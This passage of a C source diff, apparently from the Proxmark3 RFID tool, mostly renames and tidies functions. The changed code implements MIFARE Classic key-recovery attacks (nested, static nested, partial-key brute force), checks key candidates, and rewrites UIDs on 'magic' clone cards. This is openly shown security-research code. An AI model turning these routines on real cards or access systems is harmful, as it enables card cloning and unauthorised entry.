PM3_SUCCESS; } } @@ -319,6 +346,7 @@ int mfCheckKeys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChun // initialize storage for found keys icesector_t *tmp = calloc(sectorsCnt, sizeof(icesector_t)); if (tmp == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -327,12 +355,12 @@ int mfCheckKeys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChun for (int i = 0; i < sectorsCnt; i++) { // key A if (!e_sector[i].foundKey[0]) { - e_sector[i].Key[0] = bytes_to_num(tmp[i].keyA, 6); + e_sector[i].Key[0] = bytes_to_num(tmp[i].keyA, MIFARE_KEY_SIZE); e_sector[i].foundKey[0] = arr[(i * 2) ]; } // key B if (!e_sector[i].foundKey[1]) { - e_sector[i].Key[1] = bytes_to_num(tmp[i].keyB, 6); + e_sector[i].Key[1] = bytes_to_num(tmp[i].keyB, MIFARE_KEY_SIZE); e_sector[i].foundKey[1] = arr[(i * 2) + 1 ]; } } @@ -355,17 +383,20 @@ int mfCheckKeys_fast_ex(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChun return PM3_ESOFT; } -int mfCheckKeys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, - uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory, bool verbose) { - return mfCheckKeys_fast_ex(sectorsCnt, firstChunk, lastChunk, strategy, size, keyBlock, e_sector, use_flashmemory, verbose, false, 0); +int mf_check_keys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy + , uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory + , bool verbose) { + return mf_check_keys_fast_ex(sectorsCnt, firstChunk, lastChunk, strategy, size, keyBlock, e_sector, use_flashmemory, verbose, false, 0); } // Trigger device to use a binary file on flash mem as keylist for mfCheckKeys. // As of now, 255 keys possible in the file // 6 * 255 = 1500 bytes -int mfCheckKeys_file(uint8_t *destfn, uint64_t *key) { - *key = -1; - clearCommandBuffer(); +int mf_check_keys_file(uint8_t *destfn, uint64_t *key) { + + if (key) { + *key = -1; + } struct { uint8_t filename[32]; @@ -373,13 +404,14 @@ int mfCheckKeys_file(uint8_t *destfn, uint64_t *key) { memcpy(payload_file.filename, destfn, sizeof(payload_file.filename) - 1); + clearCommandBuffer(); PacketResponseNG resp; clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_CHKKEYS_FILE, (uint8_t *)&payload_file, sizeof(payload_file)); uint8_t retry = 10; - while (!WaitForResponseTimeout(CMD_HF_MIFARE_CHKKEYS, &resp, 2000)) { + while (WaitForResponseTimeout(CMD_HF_MIFARE_CHKKEYS, &resp, 2000) == false) { //flush queue while (kbd_enter_pressed()) { @@ -395,14 +427,19 @@ int mfCheckKeys_file(uint8_t *destfn, uint64_t *key) { } } - if (resp.status != PM3_SUCCESS) return resp.status; + if (resp.status != PM3_SUCCESS) { + return resp.status; + } struct kr { - uint8_t key[6]; + uint8_t key[MIFARE_KEY_SIZE]; bool found; } PACKED; struct kr *keyresult = (struct kr *)&resp.data.asBytes; - if (!keyresult->found) return PM3_ESOFT; + + if (keyresult->found == false) { + return PM3_ESOFT; + } *key = bytes_to_num(keyresult->key, sizeof(keyresult->key)); return PM3_SUCCESS; @@ -410,7 +447,7 @@ int mfCheckKeys_file(uint8_t *destfn, uint64_t *key) { // PM3 imp of J-Run mf_key_brute (part 2) // ref: https://github.com/J-Run/mf_key_brute -int mfKeyBrute(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint64_t *resultkey) { +int mf_key_brute(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint64_t *resultkey) { uint64_t key64; uint8_t found = false; @@ -422,7 +459,7 @@ int mfKeyBrute(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint64_t *r // Generate all possible keys for the first two unknown bytes. for (uint16_t i = 0; i < 0xFFFF; ++i) { - uint32_t j = i * 6; + uint32_t j = i * MIFARE_KEY_SIZE; candidates[0 + j] = i >> 8; candidates[1 + j] = i; candidates[2 + j] = key[2]; @@ -439,15 +476,16 @@ int mfKeyBrute(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint64_t *r memcpy(keyBlock, candidates + i, KEYBLOCK_SIZE); // check a block of generated key candidates. - if (mfCheckKeys(blockNo, keyType, true, KEYS_IN_BLOCK, keyBlock, &key64) == PM3_SUCCESS) { + if (mf_check_keys(blockNo, keyType, true, KEYS_IN_BLOCK, keyBlock, &key64) == PM3_SUCCESS) { *resultkey = key64; found = true; break; } // progress - if (counter % 20 == 0) + if (counter % 20 == 0) { PrintAndLogEx(SUCCESS, "tried %s.. \t %u keys", sprint_hex(candidates + i, 6), counter * KEYS_IN_BLOCK); + } } return found; } @@ -481,9 +519,9 @@ __attribute__((force_align_arg_pointer)) return statelist->head.slhead; } -int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate) { +int mf_nested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate) { - uint32_t uid; + uint32_t uid = 0; StateList_t statelists[2]; struct Crypto1State *p1, *p2, *p3, *p4; @@ -524,8 +562,9 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, struct p *package = (struct p *)resp.data.asBytes; // error during nested on device side - if (package->isOK != PM3_SUCCESS) + if (package->isOK != PM3_SUCCESS) { return package->isOK; + } memcpy(&uid, package->cuid, sizeof(package->cuid)); @@ -545,12 +584,14 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, pthread_t thread_id[2]; // create and run worker threads - for (uint8_t i = 0; i < 2; i++) + for (uint8_t i = 0; i < 2; i++) { pthread_create(thread_id + i, NULL, nested_worker_thread, &statelists[i]); + } // wait for threads to terminate: - for (uint8_t i = 0; i < 2; i++) + for (uint8_t i = 0; i < 2; i++) { pthread_join(thread_id[i], (void *)&statelists[i].head.slhead); + } // the first 16 Bits of the cryptostate already contain part of our key. // Create the intersection of the two lists based on these 16 Bits and @@ -559,9 +600,11 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, p2 = p4 = statelists[1].head.slhead; while (p1 <= statelists[0].tail.sltail && p2 <= statelists[1].tail.sltail) { + if (Compare16Bits(p1, p2) == 0) { struct Crypto1State savestate; + savestate = *p1; while (Compare16Bits(p1, &savestate) == 0 && p1 <= statelists[0].tail.sltail) { *p3 = *p1; @@ -569,6 +612,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, p3++; p1++; } + savestate = *p2; while (Compare16Bits(p2, &savestate) == 0 && p2 <= statelists[1].tail.sltail) { *p4 = *p2; @@ -576,6 +620,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, p4++; p2++; } + } else { while (Compare16Bits(p1, p2) == -1) p1++; while (Compare16Bits(p1, p2) == 1) p2++; @@ -598,13 +643,17 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, // Create the intersection statelists[0].len = intersection(statelists[0].head.keyhead, statelists[1].head.keyhead); + bool looped = false; + //statelists[0].tail.keytail = --p7; uint32_t keycnt = statelists[0].len; - if (keycnt == 0) goto out; + if (keycnt == 0) { + goto out; + } - PrintAndLogEx(SUCCESS, "Found " _YELLOW_("%u") " key candidates", keycnt); + PrintAndLogEx(SUCCESS, "Found " _YELLOW_("%u") " key candidate%c", keycnt, (keycnt > 1) ? 's' : ' '); - memset(resultKey, 0, 6); + memset(resultKey, 0, MIFARE_KEY_SIZE); uint64_t key64 = -1; // The list may still contain several key candidates. Test each of them with mfCheckKeys @@ -620,44 +669,53 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, register uint8_t j; for (j = 0; j < size; j++) { crypto1_get_lfsr(statelists[0].head.slhead + i, &key64); - num_to_bytes(key64, 6, keyBlock + j * 6); + num_to_bytes(key64, MIFARE_KEY_SIZE, keyBlock + j * MIFARE_KEY_SIZE); } - if (mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) { - free(statelists[0].head.slhead); - free(statelists[1].head.slhead); - num_to_bytes(key64, 6, resultKey); + if (mf_check_keys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) { - if (package->keytype < 2) { - PrintAndLogEx(SUCCESS, "\nTarget block %4u key type %c -- found valid key [ " _GREEN_("%s") " ]", - package->block, - package->keytype ? 'B' : 'A', - sprint_hex_inrow(resultKey, 6) - ); - } else { - PrintAndLogEx(SUCCESS, "\nTarget block %4u key type %02x -- found valid key [ " _GREEN_("%s") " ]", - package->block, - MIFARE_AUTH_KEYA + package->keytype, - sprint_hex_inrow(resultKey, 6) - ); + if (looped) { + PrintAndLogEx(NORMAL, ""); } + free(statelists[0].head.slhead); + free(statelists[1].head.slhead); + num_to_bytes(key64, MIFARE_KEY_SIZE, resultKey); + if (package->keytype < 2) { + PrintAndLogEx(SUCCESS, "Target block " _GREEN_("%4u") " key type " _GREEN_("%c") " -- found valid key [ " _GREEN_("%s") " ]", + package->block, + package->keytype ? 'B' : 'A', + sprint_hex_inrow(resultKey, MIFARE_KEY_SIZE) + ); + } else { + PrintAndLogEx(SUCCESS, "Target block " _GREEN_("%4u") " key type " _GREEN_("%02x") " -- found valid key [ " _GREEN_("%s") " ]", + package->block, + MIFARE_AUTH_KEYA + package->keytype, + sprint_hex_inrow(resultKey, MIFARE_KEY_SIZE) + ); + } return PM3_SUCCESS; } float bruteforce_per_second = (float)(i + max_keys) / ((msclock() - start_time) / 1000.0); PrintAndLogEx(INPLACE, "%6d/%u keys | %5.1f keys/sec | worst case %6.1f seconds remaining", i, keycnt, bruteforce_per_second, (keycnt - i) / bruteforce_per_second); + looped = true; } out: + + if (looped) { + PrintAndLogEx(NORMAL, ""); + } + if (package->keytype < 2) { - PrintAndLogEx(SUCCESS, "\nTarget block %4u key type %c", + PrintAndLogEx(SUCCESS, "Target block " _YELLOW_("%4u") " key type " _YELLOW_("%c"), package->block, package->keytype ? 'B' : 'A' ); } else { - PrintAndLogEx(SUCCESS, "\nTarget block %4u key type %02x", + PrintAndLogEx(SUCCESS, "Target block " _YELLOW_("%4u") " key type " _YELLOW_("%02x"), package->block, MIFARE_AUTH_KEYA + package->keytype ); @@ -667,9 +725,9 @@ out: return PM3_ESOFT; } -int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey) { +int mf_static_nested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey) { - uint32_t uid; + uint32_t uid = 0; StateList_t statelists[2]; struct Crypto1State *p1, *p2, *p3, *p4; @@ -778,54 +836,14 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl // Create the intersection statelists[0].len = intersection(statelists[0].head.keyhead, statelists[1].head.keyhead); - - /* - - memcpy(&uid, package->cuid, sizeof(package->cuid)); - - statelists[0].blockNo = package->block; - statelists[0].keyType = package->keytype; - statelists[0].uid = uid; - - memcpy(&statelists[0].nt_enc, package->nt, sizeof(package->nt)); - memcpy(&statelists[0].ks1, package->ks, sizeof(package->ks)); - - // calc keys - pthread_t t; - - // create and run worker thread - pthread_create(&t, NULL, nested_worker_thread, &statelists[0]); - - // wait for thread to terminate: - pthread_join(t, (void *)&statelists[0].head.slhead); - - // the first 16 Bits of the cryptostate already contain part of our key. - p1 = p3 = statelists[0].head.slhead; - - // create key candidates. - while (p1 <= statelists[0].tail.sltail) { - struct Crypto1State savestate; - savestate = *p1; - while (Compare16Bits(p1, &savestate) == 0 && p1 <= statelists[0].tail.sltail) { - *p3 = *p1; - lfsr_rollback_word(p3, statelists[0].nt_enc ^ statelists[0].uid, 0); - p3++; - p1++; - } - } - - p3->odd = -1; - p3->even = -1; - statelists[0].len = p3 - statelists[0].head.slhead; - statelists[0].tail.sltail = --p3; - */ - uint32_t keycnt = statelists[0].len; - if (keycnt == 0) goto out; + if (keycnt == 0) { + goto out; + } PrintAndLogEx(SUCCESS, "Found " _YELLOW_("%u") " key candidates", keycnt); - memset(resultKey, 0, 6); + memset(resultKey, 0, MIFARE_KEY_SIZE); // The list may still contain several key candidates. Test each of them with mfCheckKeys uint32_t maxkeysinblock = IfPm3Flash() ? 1000 : KEYS_IN_BLOCK; @@ -838,8 +856,9 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl if (IfPm3Flash() && keycnt > 70) { // used for mfCheckKeys_file, which needs a header - mem = calloc((maxkeysinblock * 6) + 5, sizeof(uint8_t)); + mem = calloc((maxkeysinblock * MIFARE_KEY_SIZE) + 5, sizeof(uint8_t)); if (mem == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(statelists[0].head.slhead); return PM3_EMALLOC; } @@ -854,8 +873,9 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl } else { // used for mfCheckKeys, which adds its own header. - mem = calloc((maxkeysinblock * 6), sizeof(uint8_t)); + mem = calloc((maxkeysinblock * MIFARE_KEY_SIZE), sizeof(uint8_t)); if (mem == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(statelists[0].head.slhead); return PM3_EMALLOC; } @@ -882,7 +902,7 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl // copy x keys to device. for (uint32_t j = 0; j < chunk; j++) { crypto1_get_lfsr(statelists[0].head.slhead + i + j, &key64); - num_to_bytes(key64, 6, p_keyblock + j * 6); + num_to_bytes(key64, MIFARE_KEY_SIZE, p_keyblock + j * MIFARE_KEY_SIZE); } // check a block of generated key candidates. @@ -892,15 +912,15 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl mem[4] = (chunk & 0xFF); // upload to flash. - res = flashmem_spiffs_load((char *)fn, mem, 5 + (chunk * 6)); + res = flashmem_spiffs_load((char *)fn, mem, 5 + (chunk * MIFARE_KEY_SIZE)); if (res != PM3_SUCCESS) { PrintAndLogEx(WARNING, "\nSPIFFS upload failed"); free(mem); return res; } - res = mfCheckKeys_file(fn, &key64); + res = mf_check_keys_file(fn, &key64); } else { - res = mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, true, chunk, mem, &key64); + res = mf_check_keys(statelists[0].blockNo, statelists[0].keyType, true, chunk, mem, &key64); } if (res == PM3_SUCCESS) { @@ -908,15 +928,16 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl free(statelists[0].head.slhead); free(mem); - num_to_bytes(key64, 6, resultKey); + num_to_bytes(key64, MIFARE_KEY_SIZE, resultKey); - if (IfPm3Flash() && keycnt > 70) + if (IfPm3Flash() && keycnt > 70) { PrintAndLogEx(NORMAL, ""); + } - PrintAndLogEx(SUCCESS, "target block %4u key type %c -- found valid key [ " _GREEN_("%s") " ]", + PrintAndLogEx(SUCCESS, "target block " _GREEN_("%4u") " key type " _GREEN_("%c") " -- found valid key [ " _GREEN_("%s") " ]", package->block, package->keytype ? 'B' : 'A', - sprint_hex_inrow(resultKey, 6) + sprint_hex_inrow(resultKey, MIFARE_KEY_SIZE) ); return PM3_SUCCESS; } else if (res == PM3_ETIMEOUT || res == PM3_EOPABORTED) { @@ -945,7 +966,7 @@ out: } // MIFARE -int mfReadSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *data) { +int mf_read_sector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *data) { clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFARE_READSC, sectorNo, keyType, 0, (uint8_t *)key, MIFARE_KEY_SIZE); @@ -960,13 +981,13 @@ int mfReadSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t return PM3_EUNDEF; } } else { - PrintAndLogEx(DEBUG, "Command execute timeout"); + PrintAndLogEx(DEBUG, "command execution time out"); return PM3_ETIMEOUT; } return PM3_SUCCESS; } -int mfReadBlock(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *data) { +int mf_read_block(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *data) { mf_readblock_t payload = { .blockno = blockNo, .keytype = keyType @@ -984,51 +1005,89 @@ int mfReadBlock(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *d return PM3_ESOFT; } } else { - PrintAndLogEx(DEBUG, "Command execute timeout"); + PrintAndLogEx(DEBUG, "command execution time out"); return PM3_ETIMEOUT; } return PM3_SUCCESS; } -// EMULATOR -int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount) { +int mf_write_block(uint8_t blockno, uint8_t keyType, const uint8_t *key, const uint8_t *block) { - size_t size = blocksCount * MFBLOCK_SIZE; + uint8_t data[26]; + memcpy(data, key, MIFARE_KEY_SIZE); + memcpy(data + 10, block, MFBLOCK_SIZE); + + clearCommandBuffer(); + SendCommandMIX(CMD_HF_MIFARE_WRITEBL, blockno, keyType, 0, data, sizeof(data)); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { + PrintAndLogEx(FAILED, "mfWriteBlock execution time out"); + return PM3_ETIMEOUT; + } + int res = PM3_SUCCESS; + if ((resp.oldarg[0] & 0xff) != 1) { + res = PM3_EFAILED; + } + return res; +} + +int mf_write_sector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector) { + int res; + for (int i = 0; i < mfNumBlocksPerSector(sectorNo); i++) { + res = mf_write_block((mfFirstBlockOfSector(sectorNo)) + i, keyType, key, sector + (i * MFBLOCK_SIZE)); + if (res != PM3_SUCCESS) { + return (i == 0) ? PM3_EFAILED : PM3_EPARTIAL; + } + } + return PM3_SUCCESS; +} + +// EMULATOR +int mf_eml_get_mem(uint8_t *data, int blockNum, int blocksCount) { + return mf_eml_get_mem_xt(data, blockNum, blocksCount, MFBLOCK_SIZE); +} + +int mf_eml_get_mem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth) { + + size_t size = ((size_t) blocksCount) * blockBtWidth; if (size > PM3_CMD_DATA_SIZE) { return PM3_ESOFT; } struct { - uint8_t blockno; + uint16_t blockno; uint8_t blockcnt; + uint8_t blockwidth; } PACKED payload; payload.blockno = blockNum; payload.blockcnt = blocksCount; + payload.blockwidth = blockBtWidth; clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_EML_MEMGET, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_HF_MIFARE_EML_MEMGET, &resp, 1500) == 0) { - PrintAndLogEx(WARNING, "Command execute timeout"); + if (WaitForResponseTimeout(CMD_HF_MIFARE_EML_MEMGET, &resp, 1500) == false) { + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } - if (resp.status == PM3_SUCCESS) + if (resp.status == PM3_SUCCESS) { memcpy(data, resp.data.asBytes, size); + } return resp.status; } -int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount) { - return mfEmlSetMem_xt(data, blockNum, blocksCount, MFBLOCK_SIZE); +int mf_elm_set_mem(uint8_t *data, int blockNum, int blocksCount) { + return mf_eml_set_mem_xt(data, blockNum, blocksCount, MFBLOCK_SIZE); } -int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth) { +int mf_eml_set_mem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth) { struct p { - uint8_t blockno; + uint16_t blockno; uint8_t blockcnt; uint8_t blockwidth; uint8_t data[]; @@ -1041,6 +1100,10 @@ int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidt size_t paylen = sizeof(struct p) + size; struct p *payload = calloc(1, paylen); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } payload->blockno = blockNum; payload->blockcnt = blocksCount; @@ -1054,13 +1117,13 @@ int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidt } // "MAGIC" CARD -int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t *sak, uint8_t *old_uid, uint8_t *verifed_uid, uint8_t wipecard) { +int mf_chinese_set_uid(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t *sak, uint8_t *old_uid, uint8_t *verifed_uid, uint8_t wipecard, uint8_t gdm) { - uint8_t params = MAGIC_SINGLE; + uint8_t params = MAGIC_SINGLE | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); uint8_t block0[MFBLOCK_SIZE]; memset(block0, 0x00, sizeof(block0)); - int res = mfCGetBlock(0, block0, params); + int res = mf_chinese_get_block(0, block0, params); if (res == 0) { PrintAndLogEx(SUCCESS, "old block 0... %s", sprint_hex_inrow(block0, sizeof(block0))); if (old_uid) { @@ -1099,17 +1162,17 @@ int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t * } } - PrintAndLogEx(SUCCESS, "new block 0... %s", sprint_hex_inrow(block0, 16)); + PrintAndLogEx(SUCCESS, "new block 0... %s", sprint_hex_inrow(block0, sizeof(block0))); if (wipecard) { params |= MAGIC_WIPE; } - res = mfCSetBlock(0, block0, NULL, params); + res = mf_chinese_set_block(0, block0, NULL, params); if (res == PM3_SUCCESS) { - params = MAGIC_SINGLE; + params = MAGIC_SINGLE | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); memset(block0, 0, sizeof(block0)); - res = mfCGetBlock(0, block0, params); + res = mf_chinese_get_block(0, block0, params); if (res == 0) { if (verifed_uid) { memcpy(verifed_uid, block0, uidlen); @@ -1119,25 +1182,28 @@ int mfCSetUID(uint8_t *uid, uint8_t uidlen, const uint8_t *atqa, const uint8_t * return res; } -int mfCWipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak) { +int mf_chinese_wipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak, uint8_t gdm) { uint8_t block0[MFBLOCK_SIZE] = {0x00, 0x56, 0x78, 0xBB, 0x95, 0x08, 0x04, 0x00, 0x02, 0xB2, 0x1E, 0x24, 0x23, 0x27, 0x1E, 0x1D}; // uint8_t block0[MFBLOCK_SIZE] = {0x04, 0x03, 0x02, 0x01, 0x04, 0x08, 0x04, 0x00, 0x64, 0xB9, 0x95, 0x11, 0x4D, 0x20, 0x42, 0x09}; uint8_t blockD[MFBLOCK_SIZE] = {0x00}; // default transport ACL uint8_t blockK[MFBLOCK_SIZE] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x07, 0x80, 0x69, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; - uint8_t params = MAGIC_SINGLE; + uint8_t params = MAGIC_SINGLE | (gdm ? MAGIC_GDM_ALT_WUPC : MAGIC_WUPC); if (uid != NULL) { memcpy(block0, uid, 4); block0[4] = block0[0] ^ block0[1] ^ block0[2] ^ block0[3]; } - if (sak != NULL) + + if (sak != NULL) { block0[5] = sak[0]; + } if (atqa != NULL) { block0[6] = atqa[1]; block0[7] = atqa[0]; } + int res; for (int blockNo = 0; blockNo < 4 * 16; blockNo++) { for (int retry = 0; retry < 3; retry++) { @@ -1145,16 +1211,18 @@ int mfCWipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak) { PrintAndLogEx(INPLACE, "wipe block %d", blockNo); if (blockNo == 0) { - res = mfCSetBlock(blockNo, block0, NULL, params); + res = mf_chinese_set_block(blockNo, block0, NULL, params); } else { - if (mfIsSectorTrailer(blockNo)) - res = mfCSetBlock(blockNo, blockK, NULL, params); - else - res = mfCSetBlock(blockNo, blockD, NULL, params); + if (mfIsSectorTrailer(blockNo)) { + res = mf_chinese_set_block(blockNo, blockK, NULL, params); + } else { + res = mf_chinese_set_block(blockNo, blockD, NULL, params); + } } - if (res == PM3_SUCCESS) + if (res == PM3_SUCCESS) { break; + } PrintAndLogEx(WARNING, "retry block %d ...", blockNo); } @@ -1169,44 +1237,57 @@ int mfCWipe(uint8_t *uid, const uint8_t *atqa, const uint8_t *sak) { return PM3_SUCCESS; } -int mfCSetBlock(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params) { +int mf_chinese_set_block(uint8_t blockNo, uint8_t *data, uint8_t *uid, uint8_t params) { + clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFARE_CSETBL, params, blockNo, 0, data, MFBLOCK_SIZE); PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_ACK, &resp, 3500)) { - uint8_t isOK = resp.oldarg[0] & 0xff; - if (uid != NULL) { - memcpy(uid, resp.data.asBytes, 4); - } - - if (!isOK) { - return PM3_EUNDEF; - } - } else { - PrintAndLogEx(WARNING, "command execute timeout"); + if (WaitForResponseTimeout(CMD_ACK, &resp, 3500) == false) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(WARNING, "Command execution time out"); return PM3_ETIMEOUT; } + + uint8_t isOK = resp.oldarg[0] & 0xFF; + if (uid != NULL) { + memcpy(uid, resp.data.asBytes, 4); + } + + if (isOK == 0) { + + uint8_t reason = (resp.oldarg[1] & 0xFF); + if (reason == 4) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(WARNING, "GDM magic write signature block failed"); + } else if (reason == 5) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(WARNING, "Write block failed"); + } + + return PM3_EUNDEF; + } + return PM3_SUCCESS; } -int mfCGetBlock(uint8_t blockNo, uint8_t *data, uint8_t params) { +int mf_chinese_get_block(uint8_t blockNo, uint8_t *data, uint8_t params) { clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFARE_CGETBL, params, blockNo, 0, NULL, 0); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { uint8_t isOK = resp.oldarg[0] & 0xff; - if (!isOK) { + if (isOK == 0) { return PM3_EUNDEF; } memcpy(data, resp.data.asBytes, MFBLOCK_SIZE); } else { - PrintAndLogEx(WARNING, "command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } return PM3_SUCCESS; } -int mfGen3UID(uint8_t *uid, uint8_t uidlen, uint8_t *oldUid) { +int mf_chinese_gen_3_uid(uint8_t *uid, uint8_t uidlen, uint8_t *oldUid) { clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFARE_GEN3UID, uidlen, 0, 0, uid, uidlen); PacketResponseNG resp; @@ -1216,40 +1297,58 @@ int mfGen3UID(uint8_t *uid, uint8_t uidlen, uint8_t *oldUid) { } return resp.status; } else { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } } -int mfGen3Block(uint8_t *block, int blockLen, uint8_t *newBlock) { +int mf_chinese_gen_3_block(uint8_t *block, int blockLen, uint8_t *newBlock) { clearCommandBuffer(); SendCommandMIX(CMD_HF_MIFARE_GEN3BLK, blockLen, 0, 0, block, MFBLOCK_SIZE); PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_HF_MIFARE_GEN3BLK, &resp, 3500)) { - if (resp.status == PM3_SUCCESS && newBlock) { - memcpy(newBlock, resp.data.asBytes, MFBLOCK_SIZE); - } - return resp.status; - } else { - PrintAndLogEx(WARNING, "Command execute timeout"); + if (WaitForResponseTimeout(CMD_HF_MIFARE_GEN3BLK, &resp, 3500) == false) { + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } + + if (resp.status == PM3_SUCCESS && newBlock) { + memcpy(newBlock, resp.data.asBytes, MFBLOCK_SIZE); + } + return resp.status; } -int mfGen3Freeze(void) { +int mf_chinese_gen_3_freeze(void) { clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_GEN3FREEZ, NULL, 0); PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_HF_MIFARE_GEN3FREEZ, &resp, 3500)) { - return resp.status; - } else { - PrintAndLogEx(WARNING, "Command execute timeout"); + if (WaitForResponseTimeout(CMD_HF_MIFARE_GEN3FREEZ, &resp, 3500) == false) { + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } + return resp.status; } -// variables -uint32_t cuid = 0; // uid part used for crypto1. +// GDM Gen4 write block +int mf_chinese_gen_4_set_block(uint8_t blockNo, uint8_t *block, uint8_t *key) { + struct p { + uint8_t blockno; + uint8_t key[6]; + uint8_t data[MFBLOCK_SIZE]; // data to be written + } PACKED payload; + + payload.blockno = blockNo; + memcpy(payload.key, key, sizeof(payload.key)); + memcpy(payload.data, block, sizeof(payload.data)); + + clearCommandBuffer(); + SendCommandNG(CMD_HF_MIFARE_G4_GDM_WRBL, (uint8_t *)&payload, sizeof(payload)); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_HF_MIFARE_G4_GDM_WRBL, &resp, 1500) == false) { + PrintAndLogEx(WARNING, "command execution time out"); + return PM3_ETIMEOUT; + } + return resp.status; +} void mf_crypto1_decrypt(struct Crypto1State *pcs, uint8_t *data, int len, bool isEncrypted) { if (len != 1) { @@ -1266,7 +1365,7 @@ void mf_crypto1_decrypt(struct Crypto1State *pcs, uint8_t *data, int len, bool i } } -int tryDecryptWord(uint32_t nt, uint32_t ar_enc, uint32_t 